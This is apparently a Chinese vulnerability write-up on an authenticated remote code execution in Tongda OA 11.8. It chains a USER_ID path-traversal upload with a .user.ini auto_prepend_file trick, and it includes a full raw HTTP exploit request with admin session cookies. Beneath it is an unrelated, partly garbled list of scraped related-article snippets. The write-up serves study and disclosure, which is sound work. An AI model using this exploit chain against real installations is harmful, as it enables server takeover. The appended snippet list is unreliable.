作者:LoRexxar'@知道创宇404实验室

日期:2021年3月9日

前篇中提到的漏洞在11.8版本中被完全修复后,我痛定思痛,从头开始找一个新的漏洞,于是就有了今天这个漏洞的诞生,但没想到的是,在保留到2021年初时,1月11号更新的11.9版本中再次被定向修复。

今天我们也来看看这一次的漏洞逻辑~

在绕过之前

在提到漏洞之前,首先我们需要清楚通达OA的几个关键机制。

首先是通用文件,整个OA的大部分文件都会引用inc/utility*多个文件,里面涉及到了所有OA的通用函数以及一些全局处理、配置文件等。

除了关注到一些过滤函数以外,还有一个比较重要的是在inc/common.inc.php的全局处理,并将全局变量对应赋值给对应变量名。

而这个文件被多个基础文件引用,所以我们就有了一个自带的全局变量覆盖,但是是经过过滤的。

可以明确的是,这个问题作为顽疾深深埋在了通达OA的深处,11.7以后的漏洞也大多都是因为这个原因造成的。

除了这个以外,在前一篇文章我提到过,通达OA关于文件上传相关的配置非常完善。首先是建了attachment作为附件目录,正常的文件上传都会传到这里。

location /attachment {

deny all;

}

除此之外,上传函数还有3个限制条件:

1、不能没有.

2、不能.之后为空

3、.之后3个字符不能是PHP

且通达本身不解析特殊后缀如pht,phtml等...

换言之,也就是如果一切文件上传都建立在通达OA本身的逻辑上,我们一定没办法只靠文件上传一个漏洞来getshell,在前篇中,我利用了一个文件包含来引用上传的文件。但是在11.8中这个漏洞被修复了,我们就需要找别的办法。

这里我们绕过的思路主要有几个:

1、文件包含+文件上传;

可惜,11.8开始,所有涉及到文件包含的接口都做了详细的限制,这样的接口本来也没有几个。

2、文件改名+跨目录文件上传;

3、上传一个特殊的配置文件,比如.user.ini;

建立在这样的思路基础上,我们挖掘了今天这个漏洞。

后台Getshell

这里我们找到

/general/hr/manage/staff_info/update.php line 28

根据前面的基础,可以清楚这里USERID可控,然后刚好USERID被拼接进去,熟悉的漏洞诞生了,通过设置USERID为../../../,我们可以将文件上传到任意位置。

但同样的问题还是存在,我们没办法上传PHP文件,而且比起11.7,这里的上传限制也有一定的改变。添加了一个新的限制

function td_path_valid($source, $func_name)

{

$source_arr = pathinfo($source);

$source = realpath($source_arr["dirname"]);

$basename = strtolower($source_arr["basename"]);

if ($source === false) {

return false;

}

if ($func_name == "td_fopen") {

$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";

if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {

return true;

}

}

if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {

return false;

}

else {

return true;

}

}

这里多了一条限制if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)).

我们需要找到一个同时满足webroot和attachment的目录即可,这里我们选用了

webroot\general\reportshop\workshop\report\attachment-remark

这里我们构造文件向

/general/hr/manage/staff_info/update.php?USER_ID=../../general\reportshop\workshop\report\attachment-remark/1

上传t.txt,这里就会成功写入一个1.txt文件。

在这个基础上,我们通过上传.user.ini来修改当前目录的配置。

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general\reportshop\workshop\report\attachment-remark/.user HTTP/1.1

Host: localhost:8083

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104

Content-Length: 367

Connection: close

Cookie: PHPSESSID=76vrueivunkeingvpcv7cs4uu3; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=a4c45fc7; KEY_RANDOMDATA=7645

Upgrade-Insecure-Requests: 1

-----------------------------17518323986548992951984057104

Content-Disposition: form-data; name="ATTACHMENT"; filename="ttttttt.ini"

Content-Type: text/plain

auto_prepend_file=1.log

-----------------------------17518323986548992951984057104

Content-Disposition: form-data; name="submit"

提交

-----------------------------17518323986548992951984057104--

上传成功之后,上传1.log在目录下,然后请求该路径下任意php文件即可

值得注意的是,修改.user.ini并不是即时生效的,一般来说等待一会儿即可。

比较有意思的修复逻辑也很针对

直接对userid做了过滤。

漏洞证明

写在最后

这个漏洞是在前篇文章被修复之后挖掘的,可以算是相对比较隐蔽的漏洞吧,可惜没想到在手里还没过3个月就又被修复了,其实这个漏洞还是有配合的前台绕过方式的,但是由于时期特殊就不公开了,比较可惜的是在11.9中这些漏洞都被修复了。不得不说这几个版本通达的代码风格变化很大,虽然还是免不了挖东墙补西墙的感觉,但一些比较致命的问题都做了限制,后续如果还想挖通达的漏洞就比较难了,希望还能有更好的思路公开出来吧~

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1499/

通达oa wbupload.php,通达 OA 代码审计篇二 :11.8 后台 Getshell相关推荐

  1. oa办公系统文件存取错误_如何解决“文件存取错误”-oa办公系统-通达oa协同办公软件官方网站...

    1.金锄头文库是"C2C"交易模式,即卖家上传的文档直接由买家下载,本站只是中间服务平台,本站所有文档下载所得的收益全部归上传人(卖家)所有,作为网络服务商,若您的权利被侵害请及时 ...

  2. 文件上传漏洞_通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell

    点击蓝字|关注我们 通达OA前台任意文件上传漏洞 +文件包含漏洞导致getshell 一.漏洞介绍/Profile/ 通达OA介绍: 通达OA(Office Anywhere网络智能办公系统)是由北京 ...

  3. 通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...

    0x00 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  4. android 通达信 数据接口,通达OA移动版完美兼容iOS/Android操作系统

    时下,6亿网民的生活正因移动互联网的进步而悄然发生改变,时代大潮已经让移动办公成为了2014上半年最炙手可热的主流办公模式,一个明显的趋势就是移动OA将是未来企业信息化不可缺少的重要组成部分. 以移动 ...

  5. OA开发很简单 OA实施很复杂

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 很多人对 ...

  6. 计算机毕业设计Java某银行OA系统某银行OA系统演示2021(源代码+数据库+系统+lw文档)

    计算机毕业设计Java某银行OA系统某银行OA系统演示2021(源代码+数据库+系统+lw文档) 计算机毕业设计Java某银行OA系统某银行OA系统演示2021(源代码+数据库+系统+lw文档) 本源 ...

  7. 通达信指标公式编写答疑汇总(二)

    1.通达信MACD金叉后从当日收盘价往右画红线,MACD死叉后从当日收盘价往右划绿线,只显示最近一次金叉和死叉的画线,这样的通达信指标公式应该怎么写? DIF:=EMA(CLOSE,12)-EMA(C ...

  8. 通达信 c java,通达信的c

    通达信的c 通达信公式代码里的收盘价C? 通达信公式代码中收盘价C在,在盘中交易时间段还是在盘后非交易时间段,不同周期下最后一根k线的收盘价C等于实时价格. 例如像下面这两句代码的结果是相同的. CO ...

  9. 企业办公oa系统、医药OA办公后台管理、会议管理、用户管理、物料管理、活动管理、日常拜访、Axure医药内部管理平台、web端后台管理系统原型、医药OA系统、权限管理、Axure原型、rp原型

    企业办公oa系统.医药OA办公后台管理.会议管理.用户管理.物料管理.活动管理.Axure医药内部管理平台.web端后台管理系统原型.医药OA系统.权限管理 Axure原型演示及下载地址:https: ...

最新文章

  1. NEO从源码分析看网络通信
  2. php-箭头r含义,php中-箭头的用法和意义
  3. Spring在web中的使用
  4. selenium java测试_java+selenium 自动化测试
  5. html的div显示到最左侧,HTML/CSS:如何淡化div的左右边缘?
  6. 搜索——Red and Black(hdu1312)
  7. JAVA SSH框架的配置(myeclipse(9)+tomcat(6.0.35)+struts(2.2.3)+Spring(3.0)+Hibernate(3.0))
  8. dfs-girlcat
  9. java流程图是什么形状,流程判断(流程图判断框什么形状)
  10. jpa :配置一对多 Error accessing field 错误
  11. MSSQL2019+Linux7, The SQLServerAgent is not currently running, so it cannot be notified of this
  12. signature=cdae83b1c2034e2244a378f624349dfb,恶意软件分析 URL链接扫描 免费在线病毒分析平台 | 魔盾安全分析...
  13. 两位图灵奖得主万字长文:新计算机架构,黄金十年爆发!
  14. 神经网络基础学习小记
  15. 【调剂】广东医科大学黄遵楠教授课题组招药学专业学术型或专业型调剂硕士生(多人)...
  16. ISE中启动modelsim时出现了下面的错误
  17. 自动扫雷c语言,ctypes
  18. tomcat 加载JS访问时间长(记录自己的拍坑日志)
  19. 阿里云短信服务签名和模板类型不一致问题
  20. 【计算流体力学】Python实现加权余量法求微分方程数值解 比较伽辽金法(Galerkin法)、最小二乘法和矩法的求解精度 分析误差随n增大的变化情况

热门文章

  1. VBS判断excel版本
  2. HTML5基本元素使用
  3. ios系统判断设备上是否有安装某app
  4. oracle数据库性能awr,Oracle数据库性能调优-AWR讲述详细分析指南之一
  5. gentoo linux 内核,Gentoo内核编译选项说明
  6. 浏览器趋势2016年4月:三星的浪潮
  7. mysql导入sql文件、数据库时报错ERROR: ASCII ‘\0‘ appeared in the statement
  8. Gunicorn ImportError: cannot import name ‘ALREADY_HANDLED‘ from ‘eventlet.wsgi‘
  9. python 隐藏进程_运行进程隐藏的Python
  10. 知识付费创业目前怎么样?需要做什么?